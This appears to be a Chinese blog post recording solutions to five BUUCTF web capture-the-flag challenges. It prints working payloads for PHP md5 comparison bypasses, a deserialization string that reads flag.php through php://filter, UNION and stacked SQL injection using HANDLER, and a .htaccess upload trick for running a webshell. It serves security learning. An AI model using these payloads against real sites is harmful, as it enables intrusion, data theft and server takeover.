BUUCTF 个人做题记录【6-6】

8 篇文章 0 订阅
6 篇文章 0 订阅

目录

1.[MRCTF2020]Ez_bypass1

​编辑

2.[网鼎杯 2020 青龙组]AreUSerialz 1

3.[GXYCTF2019]BabySQli 1

4.[GYCTF2020]Blacklist 1

5.[GXYCTF2019]BabyUpload 1


1.[MRCTF2020]Ez_bypass1

题目打开就是一段php代码

提示我们要以GET方式传入id和gg参数,然后对他进行强类型比较,就是id!==gg&md5(id)===md5(gg),而数组的md5都会返回NULL,我们可以利用NULL===NULL绕过,我们可以让id和gg是数组,并且给他们不同的赋值就可以满足上面的条件了,这个我们用下面的payload绕过:

?id[]=a&gg[]=b

完成第一步,下面还要以POST方式传入passwd参数,要求passwd不能为数字,且md5(passwd)==1234567,这是很明显的弱类型比较,可以令passwd是一个字符串,但字符串最前面必须是1234567,这样就可以绕过了,得到我们用下面的payload绕过:

passwd=1234567a

2.[网鼎杯 2020 青龙组]AreUSerialz 1

题目打开就是一段代码审计

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

看完代码,我们想到的应该是读取flag.php的内容,对GET方式提交的str参数进行序列化,

我们从最初的类变量开始看,$op

 __destruct方法判断如果op强等于字符型的2,那么把op赋值为字符型的1,这里我们让op=2,因为int型的2和字符型的“2在强类型比较的时候是不等的,然后下面调用了process()函数

 如果op弱等于字符型的1,调用write函数,弱等于字符型的2则调用read函数,我一开始就说过,我们要读取flag.php的内容,于是我们就是要进入read函数,而前面我们给op赋值为int型的2,这样在若比较的时候和字符型的2相等,这样我们就进入了read函数,我们再看看read()函数

 read函数对我们传入的filename参数进行读取,file_get_contentsa函数是将我们读取的文件内容变为字符串的形式,之后赋值给res变量并输出,下面就是根据分析得出的payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";i:123;}

这里说一下,因为源码没有对content变量的引用,所以可以给它赋值也可以不赋值

 用payload访问后就得到了flag.php的base64编码,解密即可:

3.[GXYCTF2019]BabySQli 1

题目打开,发现是一道sql注入题,我们直接bp看一下有哪些字符别被过滤了

bp上发现大多sql关键字都是可以用的,那么我们找一下注入点,在我们点击登录之后查看源码

 

 根据Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567

只是一段base32编码,解密:

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

得到一段base64编码,再解密:

select * from user where username = '$name'

这就可以判断注入点在登录框的username那一栏,

我们先看看列数,

 

 

小写的order被过滤掉了,所以我们用大写代替

 

 我们的列数只有四列,下面是这题最最重要的地方

 我们开始回显点,这时候就回答题目最开始的查看源码

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) ?
		array_map('stripslashes_deep', $value) :
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

?>

 下面

 我们已经知道有三列,我们每一列的数据会被当作数组中的元素,数组下标从0开始,也就是说,我们构造sql语句1' union select 1,2,3#,1,2,3这三个数据会被当做数组中的三个元素,arr[0]=1,arr[1]=2,arr[2]=3,根据源码提示,我们提交的pw的md5值要和我们sql语句第三个数据(arr[2])相等,arr[1]要等于’admin‘

name=1‘ union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

其中202cb962ac59075b964b07152d234b70是123的MD5

 

4.[GYCTF2020]Blacklist 1

考点:sql注入,查列数

 

确定列数为3

当我们输入1' union select 1,2,3#时,会报错,根据报错信息我可以知道被过滤掉的字符

我们这里试着堆叠注入:

1';show tables;#

 查字段

1';show columns from FlagHere;#

 大佬的分析:

这里屏蔽了许多东西

这里由于rename,和alter被过滤了,这里考虑利用HANDLER语句

这里先解释一下HANDLER语句的用法

这里的HANDLER语句和select查询语句都可以在mysql中查询想要的东西

他的基本语句是

通过HANDLER tbl_name OPEN打开一张表,无返回结果。

通过HANDLER tbl_name READ FIRST获取tbl_name的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的tbl_name。

payload:1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

5.[GXYCTF2019]BabyUpload 1

题目打开,提示文件上传

 抓包看看

 

 上传成功,访问一下,发现是这样的,这就说明 我们的木马没有被成功解析

 我们在上传一个.htaccess文件,内容是

GIF89a?
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
作用是把我们的上传的jpg文件解析问php文件

 

把我们jpg文件重新上传

 

上传成功后菜刀连接即可,flag再根目录下

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值